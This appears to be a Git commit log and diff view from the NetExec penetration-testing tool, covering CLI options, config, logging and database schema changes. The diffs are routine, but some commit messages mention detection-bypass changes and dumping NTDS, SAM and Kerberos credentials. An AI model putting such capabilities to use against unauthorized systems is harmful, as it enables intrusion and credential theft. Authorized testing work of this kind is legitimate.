Kahvi-0xFF 5514bfe05c fresh schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:47:59 -04:00
tiagomanunes d3832931b8 Merge branch 'main' into module-usercredman 2025-08-06 09:10:00 +01:00
E1A ed4f6f4858 Merge branch 'main' of github.com:E1A/NetExec 2025-08-06 09:52:48 +02:00
E1A a44fa60223 format expected descriptions as plain string in output 2025-08-06 09:52:40 +02:00
E1A 5a5a5b5756 Merge branch 'main' into main 2025-08-06 09:41:50 +02:00
E1A a5fa60b62a Fixed support for Win server 2008 and multiple descriptions 2025-08-06 09:40:43 +02:00
Kahvi-0xFF a754149025 Merge branch 'main' into main 2025-08-06 00:35:11 -04:00
Alex 84d8f108c9 Merge pull request #845 from Pennyw0rth/neff-revert-#729
Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
2025-08-05 22:38:25 +02:00
Alexander Neff 74e49abf28 Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
This reverts commit 4137704a06, reversing
changes made to e11898b182.
2025-08-05 16:25:22 -04:00
Kahvi-0xFF b8ce69480d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:06:29 -04:00
Kahvi-0xFF e663fb83d8 Merge branch 'main' into main
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:04:57 -04:00
Alex e7799212b5 Merge pull request #844 from Pennyw0rth/neff-fix-dpapi
Fix dpapi
2025-08-05 20:32:59 +02:00
Alexander Neff 65be28dc19 Readd no_da var to fix dpapi with local admin 2025-08-05 14:18:29 -04:00
Alex 49d04493e3 Merge pull request #841 from x-ticker/patch-1
Fixed typo in smb.py
2025-08-05 15:51:51 +02:00
ticker 6debc5fb49 Typo in smb print_host_info
It was printing "domin" instead of "domain"

Signed-off-by: ticker <[email protected]>
2025-08-04 21:20:14 -04:00
Kahvi-0xFF 4ae11640c3 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:37:21 -04:00
Kahvi-0xFF 24ac21d513 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:32 -04:00
Kahvi-0xFF aa8ee61a7b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:04 -04:00
Kahvi-0xFF ecd54323bf Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:18:29 -04:00
Kahvi-0xFF c8de6fe76f Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:17:18 -04:00
Alex 24dc0879b9 Merge branch 'main' into module-usercredman 2025-08-04 18:42:41 +02:00
Alex 3c8bb13117 Merge pull request #838 from Pennyw0rth/neff-linting
Add 'Warning' rule to linting
2025-08-04 18:32:53 +02:00
E1A 5a53fcab93 Merge branch 'main' of github.com:E1A/NetExec 2025-08-04 16:23:11 +02:00
E1A d1d0864002 Added and removed lock screen executables
Changed context.log.fail to context.log.highlight when if tampered = true
2025-08-04 16:23:02 +02:00
Alexander Neff 8ec8830e81 Linting 2025-08-04 09:40:55 -04:00
Alex 03dfe7f23c Merge branch 'main' into neff-linting 2025-08-04 14:54:34 +02:00
tiagomanunes c90270e25d Merge branch 'main' into module-usercredman 2025-08-04 13:28:32 +01:00
Xed cb6891b787 Merge branch 'main' into drop_library_ms 2025-08-04 11:36:49 +02:00
E1A 3a0f1c90e5 Merge branch 'main' into main 2025-08-04 09:57:38 +02:00
E1A 324dc0ccdd Fixed issues for PR 2025-08-04 09:57:04 +02:00
Alex 8ca5874260 Merge pull request #818 from Dfte/schtask_refactor
Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class
2025-08-03 17:12:41 +02:00
Alexander Neff 172bddbb4c Autofix ruff whitepsaces 2025-08-02 12:39:44 -04:00
Alexander Neff bb788a484e Autofix ruff whitepsaces 2025-08-02 12:37:45 -04:00
E1A ac0e0c4a29 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 18:31:03 +02:00
E1A c67d43310c Added lockscreendoors 2025-08-02 18:30:56 +02:00
Alexander Neff 21f6031129 Add 'Warning' rule 2025-08-02 12:30:47 -04:00
Alexander Neff 70922c5b85 Group session enumeration args 2025-08-02 12:23:24 -04:00
E1A de03b9b163 Merge branch 'Pennyw0rth:main' into main 2025-08-02 18:08:08 +02:00
E1A 5f23eadc3a ruff changes 2025-08-02 18:07:53 +02:00
Alex 97838b466c Merge pull request #832 from tiagomanunes/improve-daclread-targetdn-from-file
Improve daclread: also allow passing a file for TARGET_DN, and refactor
2025-08-02 18:04:45 +02:00
Alexander Neff eb33458e46 For unexpected errors inform user and make exception handling more specific 2025-08-02 12:02:34 -04:00
E1A 1f96460b01 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 17:55:10 +02:00
E1A 60c3afd20d added credits 2025-08-02 17:53:52 +02:00
Alexander Neff 6c07fa8641 Convert while loop to for loop 2025-08-02 11:53:30 -04:00
E1A 3ca1987d6b Merge branch 'Pennyw0rth:main' into main 2025-08-02 17:51:48 +02:00
E1A b792021223 Added the lockscreendoors module 2025-08-02 17:51:23 +02:00
Alexander Neff 34e7d9f0ce Linting 2025-08-02 11:48:34 -04:00
Alexander Neff 2124866551 Fix python escaping Syntax warning 2025-08-02 11:42:21 -04:00
Alexander Neff e2c1e820c7 Reduce code lines 2025-08-02 11:41:45 -04:00
Alex b1faef4cfa Merge pull request #836 from Pennyw0rth/neff-add-null-auth
Add null-auth info to host banner
2025-08-02 17:31:08 +02:00
Alexander Neff 4522f00d6e Add comment 2025-08-02 11:24:23 -04:00
Alexander Neff e1c5271f43 Remove unused imports 2025-08-02 10:18:59 -04:00
Alexander Neff da54a7f5b3 Add comments and small formatting 2025-08-02 10:18:42 -04:00
Alexander Neff cc268f0e0a Remove unused lines 2025-08-02 10:18:29 -04:00
Alexander Neff 49e80169fd Add null-auth info to host banner 2025-08-02 08:26:13 -04:00
tiagomanunes 9a16a4fce4 Merge branch 'main' into improve-daclread-targetdn-from-file 2025-08-02 10:18:48 +01:00
tiagomanunes 68b2fe04a3 Merge branch 'main' into module-usercredman 2025-08-02 10:16:43 +01:00
MaxToffy 61f6ee1074 Less verbose output and fix formating 2025-08-01 16:17:59 +02:00
gatari 65fe159168 added newline for ruff compliance
Signed-off-by: gatari <[email protected]>
2025-08-01 21:38:13 +08:00
Marshall Hallenbeck 4137704a06 Merge pull request #729 from haytechy/refactor_SMBSpider
Refactor smb spider
2025-07-31 16:33:39 -04:00
Marshall Hallenbeck 4104caa5e8 Merge branch 'main' into refactor_SMBSpider 2025-07-31 16:25:25 -04:00
Marshall Hallenbeck e11898b182 Merge pull request #835 from Pennyw0rth/marshall-add-awesome-contributors
docs(contributors): add termanix and dfte to awesome contributors
2025-07-31 14:43:46 -04:00
Marshall Hallenbeck f4c199e1cc docs(contributors): add termanix and dfte to awesome contributors
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-31 14:22:13 -04:00
Tiago Nunes ba0c461aa2 Minor ruff 2025-07-31 16:12:13 +02:00
Tiago Nunes db68c1303b Clean up module option assignment and defaults 2025-07-31 16:07:16 +02:00
Tiago Nunes 8d432a5074 Small fixes: use format strings and built-in open(), lint unused variables 2025-07-31 15:57:43 +02:00
gatari 25e9586ace added documentation for options 2025-07-31 07:41:25 -04:00
gatari 5566578daf added support for dumping kerberos tickets 2025-07-31 07:32:09 -04:00
Mickey De Baets 49c89dbca6 Merge branch 'main' into main 2025-07-30 14:02:14 +02:00
Tiago Nunes 3d3b41de62 Use self.context consistently 2025-07-30 12:55:39 +02:00
Tiago Nunes dce281dfba More instance variables turned into local variables, and passed down the stack 2025-07-30 12:50:22 +02:00
Tiago Nunes 4d96ee6d52 Continue parsing targets if any are not found, instead of stopping 2025-07-30 12:44:24 +02:00
Tiago Nunes 78d691be12 Turn backup filename into local variable 2025-07-30 12:38:56 +02:00
Tiago Nunes 02dbcbdc5d Also allow passing a file for TARGET_DN. Refactor to reduce duplication and complexity. 2025-07-30 11:59:08 +02:00
Alex d0827bb78c Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-07-29 21:02:55 +01:00
tiagomanunes a53faf3c6a Merge branch 'main' into module-usercredman 2025-07-29 11:30:19 +01:00
theuser 904769658d Add tests for ntds-dump-raw module 2025-07-28 17:28:44 +04:00
theuser d0f23b9dda Fix cannot import name 'delete_workspace' from 'nxc.nxcdb' error 2025-07-28 17:28:27 +04:00
Alex 714c44bac8 Merge pull request #828 from 0xb11a1/add-lsa-ntds-dump-raw
Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes
2025-07-28 13:15:45 +02:00
Alexander Neff fedca6bcfb Remove unnecessary function and formatting 2025-07-28 07:13:00 -04:00
gatari f2361e27d6 changed --store-st to --generate-st 2025-07-28 05:47:06 -04:00
gatari 57a06d0612 added --delegate-spn flag 2025-07-28 05:38:30 -04:00
tiagomanunes 31ec2eeffc Merge branch 'main' into module-usercredman 2025-07-27 13:27:46 +01:00
theuser 1d9b50210f Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes 2025-07-26 19:21:27 +04:00
gatari 96e4a306b7 sname bug fix 2025-07-25 05:30:22 -04:00
gatari 8ce7e2fe2a added --store-st flag 2025-07-25 05:30:04 -04:00
MaxToffy 8b78206f72 ruff formating 2025-07-25 11:08:16 +02:00
MaxToffy ab255aa9f4 Fix formating after user filtering 2025-07-25 11:03:35 +02:00
MaxToffy 3648ac579d Add --reg-sessions option for SMB 2025-07-25 10:24:01 +02:00
tiagomanunes 09fd370ecf Merge branch 'main' into module-usercredman 2025-07-24 08:51:39 +01:00
Aurélien CHALOT 5933a08f33 Remove print 2025-07-23 13:32:54 +02:00
Aurélien CHALOT 897fe67d72 Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class 2025-07-23 13:30:23 +02:00
tiagomanunes e60b47f88c Merge branch 'main' into module-usercredman 2025-07-21 12:20:36 +01:00
tiagomanunes d063f53b1e Merge branch 'main' into module-usercredman 2025-07-18 09:35:30 +01:00
Tiago Nunes e65303aad6 Ignore dump_method flag 2025-07-18 08:19:43 +02:00
Tiago Nunes 6140b3ffdd Bring back the credits 2025-07-17 13:16:37 +02:00
Mickey De Baets edc399736f Merge branch 'main' into main
Signed-off-by: Mickey De Baets <[email protected]>
2025-07-17 12:48:37 +02:00
Tiago Nunes 9614685d2d Move functionality from module into winrm protocol 2025-07-17 12:42:49 +02:00
tiagomanunes 2b7d8abbbe Merge branch 'main' into module-usercredman 2025-07-17 10:55:37 +01:00
azoxlpf baa735192a add to the e2e tests 2025-07-16 21:53:23 +02:00
mpgn 217adf3a8f add clipboard delay 2025-07-16 09:40:30 +02:00
Tiago Nunes 3f1d663121 Add winrm modules to e2e tests 2025-07-14 10:35:59 +02:00
tiagomanunes 32e8603411 Merge branch 'main' into module-usercredman 2025-07-14 09:28:49 +01:00
mpgn 472be5aa36 add more verbosity 2025-07-13 23:45:49 +02:00
mpgn 92206c8143 fix output check 2025-07-13 23:41:47 +02:00
azoxlpf d9197c6e9f add raisechild.py 2025-07-12 22:54:09 +02:00
tiagomanunes 718a38d639 Merge branch 'main' into module-usercredman 2025-07-10 19:43:51 +01:00
mpgn aa17bbc32a fix test 2025-07-08 00:04:28 +02:00
mpgn 0f62ca59cd better catch and add no output option 2025-07-07 23:05:04 +02:00
mpgn f17f091d6b use clipboard to get the result of the command 2025-07-07 20:28:13 +02:00
FaganAfandiyev 8459d608c8 Remove [HISTORY] in output and add e2e tests 2025-07-07 05:52:55 -04:00
Mickey De Baets 25600ad5df Merge branch 'main' into main 2025-07-02 13:34:13 +02:00
Tiago Nunes 952e2cfadd First release candidate of usercredman module for winrm 2025-07-01 14:25:51 +02:00
FaganAfandiyev d80568056b Add --history option for NTDS 2025-06-25 16:14:59 -04:00
Xed e2a530af15 Merge branch 'main' into drop_library_ms 2025-06-21 14:06:45 +02:00
mpgn 581fa4ae19 fix 2025-06-17 17:00:13 +02:00
mpgn 66c8d0cea7 update rdp exec code 2025-06-17 16:59:14 +02:00
Kahvi-0xFF c64a5b13aa Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-13 10:14:15 -04:00
Kahvi-0xFF 72deeca890 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:50:43 -04:00
Kahvi-0xFF a62df1b1dd Merge branch 'Pennyw0rth:main' into main 2025-06-12 09:31:54 -04:00
Kahvi-0xFF cbcc26f2c5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:31:24 -04:00
Alex f5604a63d1 Merge branch 'main' into refactor_SMBSpider 2025-06-10 16:04:18 +01:00
haytehcy a0ab16c45b minor tweaks 2025-06-10 10:48:21 +01:00
Alex 1f07880e4e Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-10 09:33:21 +01:00
haytehcy ae44a34e74 Added a few more QOL changes to spider 2025-06-10 09:32:37 +01:00
Mickey De Baets af39e64aff Merge branch 'main' into main 2025-06-08 14:25:09 +02:00
Kahvi-0xFF 5699ccc173 Update schtask_as.py - added option to specify exec method
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 10:10:36 -04:00
zblurx 57b3f022ba update db mismatch error printed 2025-06-05 15:45:16 +02:00
zblurx 9d3e820aac update database table declaration 2025-06-05 15:39:57 +02:00
Kahvi-0xFF 7e23fb3a9a Update atexec.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 09:13:02 -04:00
Kahvi-0xFF c027b4a519 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:41 -04:00
Kahvi-0xFF 9d2a1e86b7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:01 -04:00
Kahvi-0xFF cd33dc9eb5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:23:45 -04:00
Kahvi-0xFF 5ca5c96015 Update schtask_as.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:11:21 -04:00
haytehcy ac4c470c16 Minor Tweaks to Spider 2025-06-03 18:31:30 +01:00
Alex 00ffc96832 Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-03 17:30:54 +01:00
Mickey De Baets db5bf36a1c Merge branch 'main' into main 2025-06-02 21:46:44 +02:00
haytehcy 6e52d617c8 Ruff checks 2025-05-26 22:03:44 +01:00
haytehcy afb78358cf Refactored SMBSpider 2025-05-26 21:38:34 +01:00
Mickey De Baets 6a9f1212c1 Merge branch 'main' into main 2025-05-20 15:18:20 +02:00
Mickey De Baets 31995e0c67 Merge branch 'main' into main 2025-05-15 16:52:50 +02:00
Xed 02b1361c85 Merge branch 'main' into drop_library_ms 2025-05-12 10:16:57 +02:00
Mickey De Baets 5c7888c416 Added share exclusion functionality
Added --exclude-shares arg to not scan shares (e.g., ADMIN$ and C$) for OPSEC improvement
2025-05-08 22:07:26 +02:00
Adam Hassan b2a450916b Merge branch 'main' into rdp-exec 2025-05-07 23:12:30 -04:00
Adam Hassan 5930d2d9af exit cmd.exe after running commands 2025-05-07 03:03:14 -04:00
Adam Hassan 03c52432b5 remove erroneous vars and code relating to old no-output argument 2025-05-07 03:02:29 -04:00
Adam Hassan 6659976b25 remove no-output argument bc no output from rdp via screen 2025-05-07 02:58:08 -04:00
Adam Hassan e1f84377ac remove codec argument bc no output from rdp via screen 2025-05-07 02:57:09 -04:00
Adam Hassan 05492ff6a1 add new e2e commands for rdp execute 2025-05-07 02:52:40 -04:00
Adam Hassan 7ec74ddb05 screenshot before exit when executing commands via rdp 2025-05-07 02:44:40 -04:00
Adam Hassan 9a12116be3 cmd.exe now working and win+r used to open terminal 2025-05-07 02:17:13 -04:00
Adam Hassan 767e26e6e2 powershell over rdp mostly working with aardwolf
cmd not working atm
TODO: Figure out best way to start terminal
TODO: Add --screenshot functionality to see command output
2025-05-07 01:21:40 -04:00
Adam Hassan e56e97c578 add initial execute_cmd using aardwolf keyboard 2025-05-07 00:40:42 -04:00
Adam Hassan 7531bf62d5 add initial rdp exec code based on winrm 2025-05-07 00:26:38 -04:00
Xed 81d07952b9 Merge branch 'main' into drop_library_ms 2025-05-05 19:52:55 +02:00
Xed ba7d5223b8 Merge branch 'Pennyw0rth:main' into drop_library_ms 2025-04-28 05:00:33 +02:00
Xed 29ced36cde Merge branch 'main' into drop_library_ms 2025-04-27 13:28:02 +02:00
XedSama 8b6df3494a Fix NAME option and adding e2e tests 2025-04-24 14:05:31 +02:00
XedSama 34066da22b Better description and new link for documentation 2025-04-24 13:28:51 +02:00
XedSama 54cadbd567 Fix encoding and xmlns property 2025-04-24 13:26:17 +02:00
XedSama 63e9e54e69 Uploading/Cleaning libms file on writable share 2025-04-24 13:13:17 +02:00
XedSama 745de4908a Fix lms_name 2025-04-24 12:38:41 +02:00
XedSama dc4030aad2 Basic module structure 2025-04-23 21:26:46 +02:00
c4pit0ch3f 633cec1dc9 added support for LDAP simple auth 2025-04-17 15:08:11 +02:00
Mauriceter bff20dff79 Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-03-04 12:35:32 +01:00
Mauriceter 2e634750db Delete nxc/modules/wds.py
Signed-off-by: Mauriceter <[email protected]>
2025-03-04 11:39:37 +01:00
Joachim De Bats f41f80d98f module recon sccm with winreg 2025-03-04 11:18:12 +01:00
Joachim De Bats 9aca9c246a WDS module 2024-09-26 16:42:24 +02:00
190 changed files with 5697 additions and 2774 deletions

No files matched your search

+2 -2
View File
@@ -1,5 +1,3 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -9,6 +7,8 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
+2
View File
@@ -63,3 +63,5 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
+2
View File
@@ -19,6 +19,7 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certipy',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
@@ -48,6 +49,7 @@ a = Analysis(
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pylnk3',
'pypykatz',
+13 -12
View File
@@ -24,21 +24,22 @@ def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
CODENAME = "Yippie-Ki-Yay"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group = output_parser.add_argument_group("Output Options")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
@@ -60,7 +61,7 @@ def gen_cli_args():
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
@@ -73,17 +74,17 @@ def gen_cli_args():
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup = module_parser.add_argument_group("Modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -94,13 +95,13 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+1 -1
View File
@@ -37,7 +37,7 @@ audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+12 -5
View File
@@ -135,6 +135,8 @@ class connection:
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
# Authentication info
self.password = ""
@@ -159,11 +161,6 @@ class connection:
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
@@ -178,6 +175,8 @@ class connection:
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -243,6 +242,14 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
+1
View File
@@ -6,6 +6,7 @@ audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
[BloodHound]
bh_enabled = False
Binary file not shown.
+39 -21
View File
@@ -6,13 +6,15 @@ from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -57,25 +59,15 @@ def init_protocol_dbs(workspace_name, p_loader=None):
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
def create_workspace(workspace_name, p_loader=None):
@@ -110,7 +102,7 @@ def initialize_db():
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
@@ -127,8 +119,8 @@ def format_host_query(q, filter_term, HostsTable):
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
@@ -136,7 +128,7 @@ def format_host_query(q, filter_term, HostsTable):
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
@@ -159,6 +151,32 @@ class BaseDB:
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
